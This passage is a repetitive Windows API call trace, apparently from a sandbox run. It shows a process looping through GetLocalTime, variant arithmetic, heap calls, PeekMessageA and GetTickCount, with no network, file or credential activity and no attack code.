returned 0x115fb02 [0190.528] CoFreeUnusedLibraries () [0190.528] DllCanUnloadNow () returned 0x1 [0190.528] GetTickCount () returned 0x115fb02 [0190.528] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.528] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.528] GetTickCount () returned 0x115fb02 [0190.529] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x8f)) [0190.529] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.529] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.530] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.530] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.530] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.530] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.530] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.530] GetTickCount () returned 0x115fb02 [0190.530] GetTickCount () returned 0x115fb02 [0190.530] CoFreeUnusedLibraries () [0190.530] DllCanUnloadNow () returned 0x1 [0190.530] GetTickCount () returned 0x115fb02 [0190.530] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.530] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.530] GetTickCount () returned 0x115fb02 [0190.532] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x9e)) [0190.532] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.532] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.532] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.532] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.532] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.532] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.532] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.532] GetTickCount () returned 0x115fb12 [0190.532] GetTickCount () returned 0x115fb12 [0190.533] CoFreeUnusedLibraries () [0190.533] DllCanUnloadNow () returned 0x1 [0190.533] GetTickCount () returned 0x115fb12 [0190.533] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.533] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.533] GetTickCount () returned 0x115fb12 [0190.534] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x9e)) [0190.534] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.534] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.535] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.535] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.535] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.535] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.535] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.535] GetTickCount () returned 0x115fb12 [0190.535] GetTickCount () returned 0x115fb12 [0190.535] CoFreeUnusedLibraries () [0190.535] DllCanUnloadNow () returned 0x1 [0190.535] GetTickCount () returned 0x115fb12 [0190.535] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.535] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.535] GetTickCount () returned 0x115fb12 [0190.537] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x9e)) [0190.537] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.537] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.537] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.537] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.537] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.537] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.537] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.538] GetTickCount () returned 0x115fb12 [0190.538] GetTickCount () returned 0x115fb12 [0190.538] CoFreeUnusedLibraries () [0190.538] DllCanUnloadNow () returned 0x1 [0190.538] GetTickCount () returned 0x115fb12 [0190.538] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.538] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.538] GetTickCount () returned 0x115fb12 [0190.542] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x9e)) [0190.543] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.543] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.543] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.543] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.543] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.543] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.543] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.543] GetTickCount () returned 0x115fb12 [0190.543] GetTickCount () returned 0x115fb12 [0190.544] CoFreeUnusedLibraries () [0190.544] DllCanUnloadNow () returned 0x1 [0190.544] GetTickCount () returned 0x115fb12 [0190.544] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.544] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.544] GetTickCount () returned 0x115fb12 [0190.555] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0xae)) [0190.556] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.556] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.556] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.556] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.556] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.556] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.556] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.556] GetTickCount () returned 0x115fb21 [0190.556] GetTickCount () returned 0x115fb21 [0190.557] CoFreeUnusedLibraries () [0190.557] DllCanUnloadNow () returned 0x1 [0190.557] GetTickCount () returned 0x115fb21 [0190.557] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.557] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.557] GetTickCount () returned 0x115fb21 [0190.560] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0xae)) [0190.561] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.561] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.561] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.561] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.561] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.561] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.561] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.561] GetTickCount () returned 0x115fb21 [0190.561] GetTickCount () returned 0x115fb21 [0190.561] CoFreeUnusedLibraries () [0190.561] DllCanUnloadNow () returned 0x1 [0190.561] GetTickCount () returned 0x115fb21 [0190.561] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.561] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.561] GetTickCount () returned 0x115fb21 [0190.563] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0xbd)) [0190.563] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.563] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.563] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.563] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.563] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.563] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.563] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.564] GetTickCount () returned 0x115fb31 [0190.564] GetTickCount () returned 0x115fb31 [0190.564] CoFreeUnusedLibraries () [0190.564] DllCanUnloadNow () returned 0x1 [0190.564] GetTickCount () returned 0x115fb31 [0190.564] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.564] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.564] GetTickCount () returned 0x115fb31 [0190.571] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0xbd)) [0190.572] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.572] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.572] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.572] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.573] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.573] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.573] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.573] GetTickCount () returned 0x115fb31 [0190.573] GetTickCount () returned 0x115fb31 [0190.573] CoFreeUnusedLibraries () [0190.573] DllCanUnloadNow () returned 0x1 [0190.573] GetTickCount () returned 0x115fb31 [0190.573] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.573] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.573] GetTickCount () returned 0x115fb31 [0190.575] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0xbd)) [0190.575] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.575] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.575] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.575] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.576] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.576] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.576] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.576] GetTickCount () returned 0x115fb31 [0190.576] GetTickCount () returned 0x115fb31 [0190.576] CoFreeUnusedLibraries () [0190.576] DllCanUnloadNow () returned 0x1 [0190.576] GetTickCount () returned 0x115fb31 [0190.576] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.576] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.576] GetTickCount () returned 0x115fb31 [0190.580] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0xcd)) [0190.581] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.581] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.581] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.581] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.581] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.581] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.581] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.581] GetTickCount () returned 0x115fb40 [0190.581] GetTickCount () returned 0x115fb40 [0190.582] CoFreeUnusedLibraries () [0190.582] DllCanUnloadNow () returned 0x1 [0190.582] GetTickCount () returned 0x115fb40 [0190.582] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.582] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.582] GetTickCount () returned 0x115fb40 [0190.587] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0xcd)) [0190.587] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.587] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.587] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.587] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.588] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.588] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.588] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.588] GetTickCount () returned 0x115fb40 [0190.588] GetTickCount () returned 0x115fb40 [0190.588] CoFreeUnusedLibraries () [0190.588] DllCanUnloadNow () returned 0x1 [0190.588] GetTickCount () returned 0x115fb40 [0190.588] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.588] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.588] GetTickCount () returned 0x115fb40 [0190.599] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0xdd)) [0190.625] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.625] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.625] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.625] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.626] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.626] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.626] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.626] GetTickCount () returned 0x115fb6f [0190.626] GetTickCount () returned 0x115fb6f [0190.627] CoFreeUnusedLibraries () [0190.627] DllCanUnloadNow () returned 0x1 [0190.627] GetTickCount () returned 0x115fb6f [0190.627] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.627] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.627] GetTickCount () returned 0x115fb6f [0190.631] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0xfc)) [0190.631] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.632] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.632] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.632] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.632] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.632] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.632] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.632] GetTickCount () returned 0x115fb6f [0190.632] GetTickCount () returned 0x115fb6f [0190.632] CoFreeUnusedLibraries () [0190.633] DllCanUnloadNow () returned 0x1 [0190.633] GetTickCount () returned 0x115fb6f [0190.633] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.633] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.633] GetTickCount () returned 0x115fb6f [0190.638] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0xfc)) [0190.639] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.639] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.639] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.639] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.639] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.639] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.640] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.640] GetTickCount () returned 0x115fb6f [0190.640] GetTickCount () returned 0x115fb6f [0190.640] CoFreeUnusedLibraries () [0190.640] DllCanUnloadNow () returned 0x1 [0190.640] GetTickCount () returned 0x115fb6f [0190.640] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.640] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.640] GetTickCount () returned 0x115fb6f [0190.645] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x10b)) [0190.645] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.645] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.645] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.645] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.646] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 